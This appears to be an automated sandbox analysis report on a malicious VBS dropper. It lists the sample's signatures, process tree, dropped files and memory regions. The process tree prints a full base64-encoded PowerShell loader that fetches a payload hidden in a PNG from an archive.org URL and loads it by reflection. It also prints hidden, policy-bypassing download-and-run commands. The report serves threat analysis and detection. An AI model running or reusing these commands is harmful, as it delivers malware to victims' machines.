Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    17/02/2026, 07:20

General

  • Target
    487f50601f6106842001e7f7b6369a2a.vbs
  • Size 1.1MB
  • Sample260217-h6dxcaa19f
  • SHA256 12fdceb6d837be10e3cd18faeaed560e027a42cb9f0e5a9fb35cc64a236be8d4
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    https://ia600603.us.archive.org/13/items/msi-pro-with-b-64_202602/MSI_PRO_with_b64.png

  • exe.dropper

    https://ia600603.us.archive.org/13/items/msi-pro-with-b-64_202602/MSI_PRO_with_b64.png

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Run Powershell and hide display window.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\487f50601f6106842001e7f7b6369a2a.vbs"
    1⤵
      PID:2416
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JGl0YWxpYW5pdHkgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRpdGFsaWFuaXR5LkhlYWRlcnMuQWRkKCJVc2VyLUFnZW50IiwgIk1vemlsbGEvNS4wIik7JGl0YWxpYW5pdHkuSGVhZGVycy5BZGQoIkFjY2VwdCIsICJ0ZXh0L2h0bWwsYXBwbGljYXRpb24veGh0bWwreG1sLGFwcGxpY2F0aW9uL3htbDtxPTAuOSwqLyo7cT0wLjgiKTskaXRhbGlhbml0eS5IZWFkZXJzLkFkZCgiQWNjZXB0LUxhbmd1YWdlIiwgImVuLVVTLGVuO3E9MC45Iik7JHByaW5jZWRvbSA9ICchQCMkJcKoJiolJCNAISMlJCUkI0AhIyUkJsKoJSQjJSQmKsKoNTQ4N0QyNTg3JCU0NTY3IyQlOi8vaWE2MDA2MDMudTI1ODckJTQ1NjcjJCUuYXJjIUAjJCXCqCYqaXZlLm9yZy8xMy9pJSQjQCEjJSRlbTI1ODckJTQ1NjcjJCUvbTI1ODckJTQ1NjcjJCVpLSbCqCUkIyUkJirCqDU0ODdEcm8td2klJCNAISMlJCFAIyQlwqgmKi1iLTY0XzIwMjYwMi9NU0lfUFJPX3dpJSQjQCEjJSQhQCMkJcKoJipfYjY0LibCqCUkIyUkJirCqDU0ODdEbmcnLlJlcGxhY2UoJyFAIyQlwqgmKicsICdoJykuUmVwbGFjZSgnJSQjQCEjJSQnLCAndCcpLlJlcGxhY2UoJybCqCUkIyUkJirCqDU0ODdEJywgJ3AnKS5SZXBsYWNlKCcyNTg3JCU0NTY3IyQlJywgJ3MnKTskc2hyaW1wZXJzID0gJGl0YWxpYW5pdHkuRG93bmxvYWREYXRhKCRwcmluY2Vkb20pOyRhcmd1bWVudGF0b3IgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpBU0NJSS5HZXRTdHJpbmcoJHNocmltcGVycyk7aWYgKCRhcmd1bWVudGF0b3IgLW1hdGNoICdCYXNlU3RhcnQtKC4qPyktQmFzZUVuZCcpIHsgICRlbGVjdG9yYWxpdHkgPSAkbWF0Y2hlc1sxXTsgICRUcmFxdWlsbGl0YXRpcyA9IFtSZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGVsZWN0b3JhbGl0eSkpOyAgJGFyZ3NCYXNlNjQgPSAnSnoxUlNHVXdOVU5OZW10cVRUSkJhazU0U1VSTk1rbEVUWGs0TVdJeWJGZGtlRXBZV1hZd01tSnFOVk5hTmtaWFpETTFhV1ZvTVVkaWNHd3pUSFp2UkdNd1VraGhKeXduTUNjc0owTTZYRlZ6WlhKelhGQjFZbXhwWTF4RWIzZHViRzloWkhOY0p5d25UbUZ0WlY5R2FXeGxKeXduVW1WblFYTnRKeXduSnl3blVtVm5RWE50Snl3bk1TY3NKMVZTVENjc0owTTZYRlZ6WlhKelhGQjFZbXhwWTF4RWIzZHViRzloWkhOY0p5d25UbUZ0WlY5R2FXeGxKeXduZG1Kekp5d25NU2NzSnpBbkxDZFVZWE5yWDA1aGJXVW5MQ2N3Snl3bkp5d25KeXduSnc9PSc7ICAkYXJnc1N0cmluZyA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGFyZ3NCYXNlNjQpKTsgICRhcmdzID0gJGFyZ3NTdHJpbmcgLXNwbGl0ICcsJyB8IEZvckVhY2gtT2JqZWN0IHsgJF8uVHJpbSgnJyciJyApIH07ICBbU29mdHdhcmUuUHJvZ3JhbV0uR2V0TWV0aG9kKCJNYWluIikuSW52b2tlKCRudWxsLCAkYXJncyk7fQ==')) | Invoke-Expression"
      1⤵
      • Process spawned unexpected child process
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2420
    • C:\Windows\system32\conhost.exe
      conhost.exe
      1⤵
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:792
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe
        2⤵
          PID:1700
      • C:\Windows\system32\conhost.exe
        conhost.exe --headless powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$ProgressPreference='SilentlyContinue'; Invoke-WebRequest -Uri 'URL' -OutFile 'C:\Users\Public\Downloads\\Name_File.vbs'; Start-Process 'C:\Users\Public\Downloads\\Name_File.vbs' -WindowStyle Hidden"
        1⤵
        • Suspicious use of WriteProcessMemory
        PID:3588
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$ProgressPreference='SilentlyContinue'; Invoke-WebRequest -Uri 'URL' -OutFile 'C:\Users\Public\Downloads\\Name_File.vbs'; Start-Process 'C:\Users\Public\Downloads\\Name_File.vbs' -WindowStyle Hidden"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5196
      • C:\Windows\system32\conhost.exe
        conhost.exe --headless powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$ProgressPreference='SilentlyContinue'; Invoke-WebRequest -Uri 'URL' -OutFile 'C:\Users\Public\Downloads\\Name_File.vbs'; Start-Process 'C:\Users\Public\Downloads\\Name_File.vbs' -WindowStyle Hidden"
        1⤵
        • Suspicious use of WriteProcessMemory
        PID:4676
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$ProgressPreference='SilentlyContinue'; Invoke-WebRequest -Uri 'URL' -OutFile 'C:\Users\Public\Downloads\\Name_File.vbs'; Start-Process 'C:\Users\Public\Downloads\\Name_File.vbs' -WindowStyle Hidden"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2128

      Network

            MITRE ATT&CK Enterprise v16

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            Downloads

            powershell.exe.log

            • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
            • Size 3KB
            • SHA256 37b6b80af283174c508fcb8a5faa0854ba1ab2add391502bbd8e81c18df0ad4d
            • MD5 SHA1 SHA512 TLSH

            ModuleAnalysisCache

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
            • Size 61KB
            • SHA256 d1d8fc14707d8778da927acf9be9e9e287fc7660374eac902c10997d10f98d92
            • MD5 SHA1 SHA512 SSDEEP TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 7f5a8ae034fbd8ee51a3364b1db1ae1510d9a5c53617e48a4f3ddd25662a3fe9
            • MD5 SHA1 SHA512 TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 db29ce86d8d282953af8c38e515f4f141006e41eb33ffbc63823f31875d58aef
            • MD5 SHA1 SHA512 TLSH

            __PSScriptPolicyTest_nqda11xp.fzk.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nqda11xp.fzk.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH

            memory/2128-41-0x00000279A1190000-0x00000279A11A2000-memory.dmp

            memory/2416-10-0x00000284E3680000-0x00000284E381A000-memory.dmp

            memory/2420-9-0x000002B554EC0000-0x000002B554ED0000-memory.dmp

            memory/2420-13-0x000002B554EC0000-0x000002B554ED0000-memory.dmp

            memory/2420-14-0x000002B53CC00000-0x000002B53CC12000-memory.dmp

            memory/2420-15-0x000002B554EC0000-0x000002B554ED0000-memory.dmp

            memory/2420-12-0x000002B554EC0000-0x000002B554ED0000-memory.dmp

            memory/2420-11-0x000002B5553A0000-0x000002B5554BA000-memory.dmp

            memory/2420-1-0x000002B554EC0000-0x000002B554ED0000-memory.dmp

            memory/2420-2-0x000002B554E10000-0x000002B554E32000-memory.dmp

            memory/2420-0-0x000002B554EC0000-0x000002B554ED0000-memory.dmp

            memory/5196-31-0x000002B487D10000-0x000002B487EAA000-memory.dmp

            memory/5196-32-0x000002B4A1DE0000-0x000002B4A1DF2000-memory.dmp